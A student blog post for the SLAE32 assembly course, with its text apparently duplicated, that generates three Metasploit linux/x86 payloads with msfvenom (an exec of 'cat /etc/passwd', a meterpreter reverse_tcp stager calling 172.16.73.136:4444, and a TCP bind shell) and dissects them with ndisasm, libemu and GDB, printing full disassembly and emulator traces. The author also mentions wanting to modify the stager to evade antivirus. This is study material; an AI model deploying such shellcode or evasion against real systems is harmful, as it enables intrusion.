This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first four (4) parts here:
Part 1 - Assignment 1
Part 2 - Assignment 2
Part 3 - Assignment 3
Part 4 - Assignment 4
The requirements for this assignment are as follows:
Full code can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-5
Supplemental scripts developed for this class can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
The first shellcode I thought I would look at is a traditional linux/x86/exec with the //bin/sh option. This is essentially the same as our execve shellcode we've used throughout the class. I did this because I wanted to see how the folks working on Metasploit created their shellcode.
First, we make the straight RAW binary version which we will use with LIBEMU and NDISASM.
Next, we run NDISASM as follows producing the output shown below.
Instead of going through the instructions, let's see how LIBEMU handles the binary.
We then convert the .dot file to a png and get the following results.

The first thing we notice is that LIBEMU differs tremendously from NDISASM on how it simulates the instructions from our linux/x86/exec shellcode out of Msfvenom. Specifically, NDISASM seems to differ after the PUSH EDX instruction. Either way they both start very similarly which tips us off that this shellcode might be trying to make an EXECVE system call. We know this because 0xb stored in EAX and is left unchanged until the interrupt signal is sent.
The next output from msfvenom I chose is a meterpreter reverse_tcp shell. I chose this because I hope to learn how it works in order to alter it as needed so it can bypass AV. Experience on the job has shown me it is a rare situation when Metasploit payloads actually work. The caveat of course is that Metasploit Pro users get AV evasive payloads. Ok, let's make our binary for use with NDISASM and LIBEMU.
First we'll dump the NDISASM output.
Now we'll use LIBEMU to simulate the binary with SCTEST. The output is rather lengthy but if we follow along we can get a relatively good idea of what this script is doing.
The next step we need to perform is to convert the .dot format into PNG.
The graphical version is much easier to follow and as a matter of fact, we can see that a SOCKET is being created, followed by a CONNECT system call, and then the last bit of code which waits for the second stage.

I would like to say LIBEMU is the better tool in this situation however, if you examine the output closely, LIBEMU is missing the last few instructions when compared with NDISASM side by side. Hmm, I was hoping this analysis of each tool would be easy and would allow us to pick a clear "go to" tool for revealing what unknown shellcode actually does. Unfortunately this doesn't seem like it will be the case.
So, let's break down the last shellcode, and this time, we'll choose a non-staged payload to examine. Once again, we'll output a raw binary to examine with LIBEMU and NDISASM.
We'll start by using NDISASM to see if it can determine what the shellcode actually does. The long output is below, keep in mind though how long our Assignment 1 program was which essentially was a non-staged shell bind tcp script.
Excellent, let's jump ahead and compare it to LIBEMU output. I'm going to skip the formalities of running SCTEST, please refer to the beginning of this blog for running this tool. We can see that LIBEMU works well in this case where there is no second stage. This is a straightforward TCP bind shell. What I like about the Metasploit framework version is the DUP2 loop. This is both elegant and compact.

What we see here though is that both NDISASM and LIBEMU work well. This leads me to believe that both of these tools have trouble with staged payloads. GDB however seems to work fine for situations when you know the starting point of the script. The draw back however, is that you have to be very careful not to execute the shellcode while debugging it. A simple disassemble should give us what we need. However, if the shellcode being run in GDB is encoded, or encrypted, GDB may not be the best choice. Something else to note, that in order to get GDB to work, we need to output the C format of MSFVENOM and then use shellcode.c to hold our shellcode. After compiling, we should be able to use GDB against the compiled C version.
In conclusion, we can see that for unknown shellcode, we should always start with NDISASM and/or LIBEMU. We should be able to determine whether we're dealing with a staged payload or not. If we see that the interpretation of the shellcode differs between NDISASM and LIBEMU, we might need to use GDB without fully executing the shellcode to see if we can figure out why there are differences between the other tools. I have also noticed that using NDISASM on the RAW binary versus an ELF executable also makes a difference on how NDISASM interprets the shellcode. They are all great tools and we should always use whatever we have at our disposal.
Next: Part 6 - Assignment 6
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Part 1 - Assignment 1
Part 2 - Assignment 2
Part 3 - Assignment 3
Part 4 - Assignment 4
The requirements for this assignment are as follows:
- Take up at least 3 shellcode samples created using Msfpayload (msfvenom) for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis
Full code can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-5
Supplemental scripts developed for this class can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
The first shellcode I thought I would look at is a traditional linux/x86/exec with the //bin/sh option. This is essentially the same as our execve shellcode we've used throughout the class. I did this because I wanted to see how the folks working on Metasploit created their shellcode.
First, we make the straight RAW binary version which we will use with LIBEMU and NDISASM.
root@kali:/opt/SLAE32/assignment-5# msfvenom -p linux/x86/exec cmd='cat /etc/passwd' \
-a x86 --platform=linux -f raw -o linux-x86-exec.bin
Next, we run NDISASM as follows producing the output shown below.
root@kali:/opt/SLAE32/assignment-5# ndisasm -u ./linux-x86-exec.bin
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E810000000 call dword 0x2d
0000001D 636174 arpl [ecx+0x74],sp
00000020 202F and [edi],ch
00000022 657463 gs jz 0x88
00000025 2F das
00000026 7061 jo 0x89
00000028 7373 jnc 0x9d
0000002A 7764 ja 0x90
0000002C 005753 add [edi+0x53],dl
0000002F 89E1 mov ecx,esp
00000031 CD80 int 0x80
Instead of going through the instructions, let's see how LIBEMU handles the binary.
root@slae32:~# sctest -vvv -Ss 10000 -G linux-x86-exec.dot < linux-x86-exec.bin
We then convert the .dot file to a png and get the following results.
root@slae32:~# dot linux-x86-exec.dot -T png >linux-x86-exec.png

The first thing we notice is that LIBEMU differs tremendously from NDISASM on how it simulates the instructions from our linux/x86/exec shellcode out of Msfvenom. Specifically, NDISASM seems to differ after the PUSH EDX instruction. Either way they both start very similarly which tips us off that this shellcode might be trying to make an EXECVE system call. We know this because 0xb stored in EAX and is left unchanged until the interrupt signal is sent.
The next output from msfvenom I chose is a meterpreter reverse_tcp shell. I chose this because I hope to learn how it works in order to alter it as needed so it can bypass AV. Experience on the job has shown me it is a rare situation when Metasploit payloads actually work. The caveat of course is that Metasploit Pro users get AV evasive payloads. Ok, let's make our binary for use with NDISASM and LIBEMU.
root@kali:/opt/SLAE32/assignment-5# msfvenom --payload linux/x86/meterpreter/reverse_tcp \
rhost=127.1.1.1 lport=4444 -a x86 --platform linux -f raw -o linux-x86-meterpreter-reverse_tcp.bin
First we'll dump the NDISASM output.
root@slae32:/opt/SLAE32/assignment-5# ndisasm -u ./linux-x86-meterpreter-reverse_tcp.bin
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 B066 mov al,0x66
0000000B 89E1 mov ecx,esp
0000000D CD80 int 0x80
0000000F 97 xchg eax,edi
00000010 5B pop ebx
00000011 68AC104988 push dword 0x884910ac
00000016 680200115C push dword 0x5c110002
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 50 push eax
00000021 51 push ecx
00000022 57 push edi
00000023 89E1 mov ecx,esp
00000025 43 inc ebx
00000026 CD80 int 0x80
00000028 B207 mov dl,0x7
0000002A B900100000 mov ecx,0x1000
0000002F 89E3 mov ebx,esp
00000031 C1EB0C shr ebx,byte 0xc
00000034 C1E30C shl ebx,byte 0xc
00000037 B07D mov al,0x7d
00000039 CD80 int 0x80
0000003B 5B pop ebx
0000003C 89E1 mov ecx,esp
0000003E 99 cdq
0000003F B60C mov dh,0xc
00000041 B003 mov al,0x3
00000043 CD80 int 0x80
00000045 FFE1 jmp ecx
Now we'll use LIBEMU to simulate the binary with SCTEST. The output is rather lengthy but if we follow along we can get a relatively good idea of what this script is doing.
root@slae32:~# sctest -vvv -Ss 10000 -G linux-x86-meterpreter-reverse_tcp.dot \
< linux-x86-meterpreter-reverse_tcp.bin
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417000
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417000
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 31DB xor ebx,ebx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417002
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: PF ZF
[emu 0x0x9af64b0 debug ] F7E3 mul ebx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417004
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: PF ZF
[emu 0x0x9af64b0 debug ] 53 push ebx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417005
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: PF ZF
[emu 0x0x9af64b0 debug ] 43 inc ebx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417006
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 53 push ebx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417007
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 6A02 push byte 0x2
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417009
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] B066 mov al,0x66
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041700b
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00000000 edx=0x00000000 ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 89E1 mov ecx,esp
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041700d
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00416fc2 edx=0x00000000 ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] CD80 int 0x80
int socket(int domain=2, int type=1, int protocol=0);
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041700f
[emu 0x0x9af64b0 debug ] eax=0x0000000e ecx=0x00416fc2 edx=0x00000000 ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 97 xchg eax,edi
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417010
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fc2 edx=0x00000000 ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 5B pop ebx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417011
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fc2 edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 68AC104988 push dword 0x884910ac
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417016
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fc2 edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 680200115C push dword 0x5c110002
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041701b
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fc2 edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fbe ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 89E1 mov ecx,esp
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041701d
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fbe edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fbe ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 6A66 push byte 0x66
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041701f
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fbe edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 58 pop eax
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417020
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fbe ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 50 push eax
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417021
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 51 push ecx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417022
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fb6 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 57 push edi
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417023
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 89E1 mov ecx,esp
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417025
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags:
[emu 0x0x9af64b0 debug ] 43 inc ebx
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417026
[emu 0x0x9af64b0 debug ] eax=0x00000066 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF
[emu 0x0x9af64b0 debug ] CD80 int 0x80
connect
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417028
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF
[emu 0x0x9af64b0 debug ] B207 mov dl,0x7
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041702a
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000007 ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF
[emu 0x0x9af64b0 debug ] B900100000 mov ecx,0x1000
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041702f
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00001000 edx=0x00000007 ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF
[emu 0x0x9af64b0 debug ] 89E3 mov ebx,esp
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417031
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00001000 edx=0x00000007 ebx=0x00416fb2
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF
[emu 0x0x9af64b0 debug ] C1EB0C shr ebx,0xc
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417034
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00001000 edx=0x00000007 ebx=0x00000416
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF
[emu 0x0x9af64b0 debug ] C1E30C shl ebx,0xc
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417037
[emu 0x0x9af64b0 debug ] eax=0x00000000 ecx=0x00001000 edx=0x00000007 ebx=0x00416000
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF PF
[emu 0x0x9af64b0 debug ] B07D mov al,0x7d
[emu 0x0x9af64b0 debug ] cpu state eip=0x00417039
[emu 0x0x9af64b0 debug ] eax=0x0000007d ecx=0x00001000 edx=0x00000007 ebx=0x00416000
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF PF
[emu 0x0x9af64b0 debug ] CD80 int 0x80
stepcount 28
copying vertexes
optimizing graph
vertex 0x9b4c7e0
going forwards from 0x9b4c7e0
-> vertex 0x9b4e980
-> vertex 0x9b4eb90
-> vertex 0x9b4ecc8
-> vertex 0x9b4ee28
-> vertex 0x9b4efa0
-> vertex 0x9b4f118
-> vertex 0x9b4f290
copying edges for 0x9b4f290
-> 0x9b539e0
vertex 0x9b4f408
going forwards from 0x9b4f408
copying edges for 0x9b4f408
-> 0x9b53ab8
vertex 0x9b4f698
going forwards from 0x9b4f698
-> vertex 0x9b4f778
-> vertex 0x9b4f8f0
-> vertex 0x9b4fa58
-> vertex 0x9b4fc50
-> vertex 0x9b4fe38
-> vertex 0x9b4ffb0
-> vertex 0x9b50128
-> vertex 0x9b502a0
-> vertex 0x9b50418
-> vertex 0x9b50590
-> vertex 0x9b50708
copying edges for 0x9b50708
-> 0x9b546c8
vertex 0x9b50880
going forwards from 0x9b50880
copying edges for 0x9b50880
-> 0x9b547a8
vertex 0x9b50c10
going forwards from 0x9b50c10
-> vertex 0x9b50cf0
-> vertex 0x9b50e68
-> vertex 0x9b50fe0
-> vertex 0x9b51158
-> vertex 0x9b512d0
copying edges for 0x9b512d0
vertex 0x9b51448
going forwards from 0x9b51448
copying edges for 0x9b51448
[emu 0x0x9af64b0 debug ] cpu state eip=0x0041703b
[emu 0x0x9af64b0 debug ] eax=0x0000007d ecx=0x00001000 edx=0x00000007 ebx=0x00416000
[emu 0x0x9af64b0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF PF
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = -2008477524 (host=172.16.73.136);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
The next step we need to perform is to convert the .dot format into PNG.
root@slae32:~# dot linux-x86-meterpreter-reverse_tcp.dot -T png > \
linux-x86-meterpreter-reverse_tcp.png
The graphical version is much easier to follow and as a matter of fact, we can see that a SOCKET is being created, followed by a CONNECT system call, and then the last bit of code which waits for the second stage.

I would like to say LIBEMU is the better tool in this situation however, if you examine the output closely, LIBEMU is missing the last few instructions when compared with NDISASM side by side. Hmm, I was hoping this analysis of each tool would be easy and would allow us to pick a clear "go to" tool for revealing what unknown shellcode actually does. Unfortunately this doesn't seem like it will be the case.
So, let's break down the last shellcode, and this time, we'll choose a non-staged payload to examine. Once again, we'll output a raw binary to examine with LIBEMU and NDISASM.
root@kali:/opt/SLAE32/assignment-5# msfvenom --payload linux/x86/shell_bind_tcp lport=4444 -a x86 \
--platform linux -f raw -o linux-x86-shell-bind_tcp.bin
We'll start by using NDISASM to see if it can determine what the shellcode actually does. The long output is below, keep in mind though how long our Assignment 1 program was which essentially was a non-staged shell bind tcp script.
root@slae32:# ndisasm -u linux-x86-shell-bind_tcp.bin
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 680200115C push dword 0x5c110002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
Excellent, let's jump ahead and compare it to LIBEMU output. I'm going to skip the formalities of running SCTEST, please refer to the beginning of this blog for running this tool. We can see that LIBEMU works well in this case where there is no second stage. This is a straightforward TCP bind shell. What I like about the Metasploit framework version is the DUP2 loop. This is both elegant and compact.

What we see here though is that both NDISASM and LIBEMU work well. This leads me to believe that both of these tools have trouble with staged payloads. GDB however seems to work fine for situations when you know the starting point of the script. The draw back however, is that you have to be very careful not to execute the shellcode while debugging it. A simple disassemble should give us what we need. However, if the shellcode being run in GDB is encoded, or encrypted, GDB may not be the best choice. Something else to note, that in order to get GDB to work, we need to output the C format of MSFVENOM and then use shellcode.c to hold our shellcode. After compiling, we should be able to use GDB against the compiled C version.
In conclusion, we can see that for unknown shellcode, we should always start with NDISASM and/or LIBEMU. We should be able to determine whether we're dealing with a staged payload or not. If we see that the interpretation of the shellcode differs between NDISASM and LIBEMU, we might need to use GDB without fully executing the shellcode to see if we can figure out why there are differences between the other tools. I have also noticed that using NDISASM on the RAW binary versus an ELF executable also makes a difference on how NDISASM interprets the shellcode. They are all great tools and we should always use whatever we have at our disposal.
Next: Part 6 - Assignment 6
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.